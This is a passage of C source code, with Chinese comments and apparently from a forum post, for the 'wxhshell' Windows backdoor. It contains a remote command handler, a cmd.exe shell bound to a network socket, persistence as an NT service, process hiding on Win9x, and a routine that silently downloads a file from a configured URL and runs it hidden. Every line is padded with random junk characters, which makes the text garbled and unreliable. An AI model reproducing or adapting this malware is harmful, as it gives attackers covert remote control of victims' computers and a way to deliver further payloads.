      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FJ~d&L\l  
    break; J Ah!#S(  
  } z f SE7i0  
  // 安装 `3T=z{HR9g  
  case 'i': { p)/e;q^  
    if(Install()) (cLKhn@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jerU[3  
    else K& ^qn&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0@zJa;z'  
    break; 6J,h}S  
    } 0@ "'SKq  
  // 卸载 M+ %O-B  
  case 'r': { 3O$l;|SX  
    if(Uninstall()) tz;o6,eb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %@a;q?/?Nd  
    else [y`G p#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6P _+:Mf  
    break; X.4WVI  
    } W$hCI)m(  
  // 显示 wxhshell 所在路径 jD S\  
  case 'p': { 9/0H,qZc  
    char svExeFile[MAX_PATH]; x/<]/D  
    strcpy(svExeFile,"\n\r"); nb/q!8  
      strcat(svExeFile,ExeFile); Wu$ryX  
        send(wsh,svExeFile,strlen(svExeFile),0); pE<a:2J  
    break; &EV%g6  
    } +-'F]?DN'  
  // 重启 ZNw|5u^N  
  case 'b': { ^\gb|LEnK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WMtFXkf6"  
    if(Boot(REBOOT)) /(s |'"6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); geyCS3 :p  
    else { M 8WjqTq  
    closesocket(wsh); Zb1GR5MB`k  
    ExitThread(0); SnFyK5  
    } cF15Mm2  
    break; ]j7`3%4uK  
    } F!#)l*OX;  
  // 关机 /K li C\  
  case 'd': { d {U%q d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yP$esDP  
    if(Boot(SHUTDOWN)) _oc6=Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8X`DFeJ  
    else { 6Z#Nh@!+C  
    closesocket(wsh); 4utwcXL  
    ExitThread(0); Y[7prjd  
    } ),N,!15j,  
    break; y60aJ)rAX  
    } J8Wits]A]$  
  // 获取shell )Q`Ycz-  
  case 's': { O"~[njwkE  
    CmdShell(wsh); dM^EYW  
    closesocket(wsh); yGtTD9j  
    ExitThread(0); 72~L  ?  
    break; [&99#7B  
  } 87!jn'A  
  // 退出 ir.RO7f  
  case 'x': { ,4"N7_!7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B;[ .u>f  
    CloseIt(wsh); A;rk4)lij  
    break; f{VV U/$  
    } AAa7)^R  
  // 离开 ((]i}s0S  
  case 'q': { 3mU~G}ig  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }@6Ze$ >  
    closesocket(wsh); mF@7;dpr  
    WSACleanup(); *bp09XG  
    exit(1); }6a}8EyFP  
    break; P.Bwfa  
        } DQ+6VPc^o  
  } npzp/mcIe)  
  } 1#3|PA#>  
EoJ\Jk  
  // 提示信息 BJ5MCb.w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0e0)1;t\  
} &X:;B'   
  } L<=Dl  
%]7 6u7b/  
  return; DQK?y=vf  
} ^=^\=9" b  
5B)&;[  
// shell模块句柄 pqO0M]}  
int CmdShell(SOCKET sock) QBGm)h?=  
{ 'MW%\W;  
STARTUPINFO si; 1A'eH:$  
ZeroMemory(&si,sizeof(si)); $)NS]wJ]3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sm'_0EUg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `>UUdv{C  
PROCESS_INFORMATION ProcessInfo; %`k [xz  
char cmdline[]="cmd"; N4,oO H~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nxhlTf>3  
  return 0; jC[_uG  
} 0fX` >-X  
{E%c%zzQ  
// 自身启动模式 *7H *epUa  
int StartFromService(void) D|(\5]:R  
{ pnSKIn  
typedef struct  ^cw9Yjh6  
{ "XxmiK  
  DWORD ExitStatus; ^BLO}9A{P  
  DWORD PebBaseAddress; rzHBop-8  
  DWORD AffinityMask; @4UX~=:686  
  DWORD BasePriority; OEaL2T  
  ULONG UniqueProcessId; n[e C  
  ULONG InheritedFromUniqueProcessId; nuWQ3w p[e  
}   PROCESS_BASIC_INFORMATION; vC>2%Zgf-  
mvH8hvD9  
PROCNTQSIP NtQueryInformationProcess; Pa0W|q#?X  
U&6A)SW,k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; az![u)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <eMqg u  
}*rSg .  
  HANDLE             hProcess; eik_w(xPT  
  PROCESS_BASIC_INFORMATION pbi; {.kIC@^O  
[err$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?" 4X&6xl  
  if(NULL == hInst ) return 0; :(ql=+vDb4  
sAU%:W{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^_3Ey  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R98YGW_ dT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &&l ZUR,`  
xP~GpVhLF  
  if (!NtQueryInformationProcess) return 0; n\D/WLvM  
i|z=WnF$&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @yb'h`f]  
  if(!hProcess) return 0; )t+pwh!8  
Uf+y$n-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8hS^8  
i/-IjgM"-  
  CloseHandle(hProcess); Sak^J.~G[  
7.VP7;jys  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `:7r5}(^  
if(hProcess==NULL) return 0; k-3;3Mq  
X=-=z5  
HMODULE hMod; X%s5D&gr  
char procName[255]; U@).jpN  
unsigned long cbNeeded; VtzZ1/J E  
tH;9"z# ~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MkFWZ9c3  
A@|Z^T:  
  CloseHandle(hProcess); 9~j"6wS  
A4(L47^  
if(strstr(procName,"services")) return 1; // 以服务启动 l opl  
$]#8D>E&  
  return 0; // 注册表启动 gQik>gFr  
} yB7si(,1>  
 !{V`N|0  
// 主模块 ESoqmCJjb:  
int StartWxhshell(LPSTR lpCmdLine) ?MSZO]Q4+  
{ B/3~[ '  
  SOCKET wsl; Q (N'Oj:J  
BOOL val=TRUE; r)>'cjx/  
  int port=0; Ay6T*Nu`  
  struct sockaddr_in door; z^gz kXx7  
:| k!hG  
  if(wscfg.ws_autoins) Install(); >DY/CcG\P  
_5n2'\] H`  
port=atoi(lpCmdLine); n%;qIKnIq\  
*g}==o`  
if(port<=0) port=wscfg.ws_port; h{-en50tN  
BeRs;^r+  
  WSADATA data; D_<B^3w )  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {=I,+[(  
!-qk1+<h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n5xG4.#G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !V#*(_+n  
  door.sin_family = AF_INET; J%ws-A?6rN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o(v`  
  door.sin_port = htons(port); b*| ?7  
(AA@ sN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S|u5RU8*"|  
closesocket(wsl); lbIW1z%:sy  
return 1; q{*[uJ}Xc"  
} ^{yb4yQ 0  
>/.jB/q  
  if(listen(wsl,2) == INVALID_SOCKET) { Th,]nVsGs~  
closesocket(wsl); >@4Ds"Ye"O  
return 1; uq:'`o-1  
} wAR:GO'n  
  Wxhshell(wsl); aAoAjVNkK  
  WSACleanup(); =#TQXm']Gi  
2mj>,kS?c  
return 0; UBM8l  
"[A&S!  
} Q!~1Xc0S`p  
z}5'TV=^  
// 以NT服务方式启动 c?xeBC1-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 79Q,XRWh|  
{ S#+ _HFUK{  
DWORD   status = 0; )}w-;HX  
  DWORD   specificError = 0xfffffff; ]]V=\.y  
FGwgSrXL7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z SsogAx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y=pRenV'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F r2 +p  
  serviceStatus.dwWin32ExitCode     = 0; AsZyPybq  
  serviceStatus.dwServiceSpecificExitCode = 0; nYRD>S?uz  
  serviceStatus.dwCheckPoint       = 0; #2.C$  
  serviceStatus.dwWaitHint       = 0; &xlOsr/n  
[MC}zd'/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wL0"1Ya  
  if (hServiceStatusHandle==0) return; WFeaX7\b  
Yic'p0< ?V  
status = GetLastError(); yCg>]6B  
  if (status!=NO_ERROR) Git2Cet  
{ |("5 :m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p|*b] 36  
    serviceStatus.dwCheckPoint       = 0; >W8PLo+i  
    serviceStatus.dwWaitHint       = 0; )./'RE+(k  
    serviceStatus.dwWin32ExitCode     = status; &P8Q|A-u  
    serviceStatus.dwServiceSpecificExitCode = specificError;  [7)#3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8>:2li  
    return; H @E-=Ly  
  } / dn]`Ge)  
DNM~/Oo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P#Ikj& l   
  serviceStatus.dwCheckPoint       = 0; ~Uz|sQ*G  
  serviceStatus.dwWaitHint       = 0; ':]w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =WP}RZ{S  
} `V0]t_*D  
aR;Q^YJ+a  
// 处理NT服务事件,比如:启动、停止 }@A~a`9g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y.Ew;\6U  
{ 0P53dF  
switch(fdwControl) qm}7w3I^  
{ c Ky%0oTla  
case SERVICE_CONTROL_STOP: J.`.lQ$z  
  serviceStatus.dwWin32ExitCode = 0; veE8 N~0N.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tbk9N( R  
  serviceStatus.dwCheckPoint   = 0; ;6)|'3.B9  
  serviceStatus.dwWaitHint     = 0;  Q{Bj(f  
  { _H3cqD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pK1(AV'L  
  } ?,),%JQ  
  return; CGg6nCB  
case SERVICE_CONTROL_PAUSE: eaiz w@N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z?YGE iR/}  
  break; #6m//0 u  
case SERVICE_CONTROL_CONTINUE: O "h+i>|l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %I=J8$B]f  
  break; 4Y/!V[  
case SERVICE_CONTROL_INTERROGATE: Em.?  
  break; pcl _$2_  
};  3i$AR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); < ?nr"V  
} mg;AcAS.o,  
{DO9{96w4  
// 标准应用程序主函数 WK^qYfq|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ua3ERBX{  
{ !c`1~a!  
r#~6FpFVK^  
// 获取操作系统版本 aY+>85?g  
OsIsNt=GetOsVer(); '}Y8a$(;V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xX>448=  
*:_hOOT+[  
  // 从命令行安装 gR>#LM&dG  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ek. j@79  
V7v,)a" L  
  // 下载执行文件 <z4!m/f [(  
if(wscfg.ws_downexe) { _0`O}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Stw6%T-  
  WinExec(wscfg.ws_filenam,SW_HIDE); i! nl%%  
} /kq~*s  
Y+7v~/K=  
if(!OsIsNt) { zc(7p;w#p  
// 如果时win9x,隐藏进程并且设置为注册表启动 #WG(V%f]  
HideProc(); D.GSl  
StartWxhshell(lpCmdLine); [)=FZF6kG  
} rYqvG  
else ouI0"R&@  
  if(StartFromService()) m1hf[cg  
  // 以服务方式启动 8| /YxF<  
  StartServiceCtrlDispatcher(DispatchTable); }?^G= IP4(  
else }A;Xd/,'r  
  // 普通方式启动 1WKDG~  
  StartWxhshell(lpCmdLine); &_6:TqJ  
ij),DbWd  
return 0; N!3f1d7RQ  
}
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只看该作者 1 发表于: 2006-10-10
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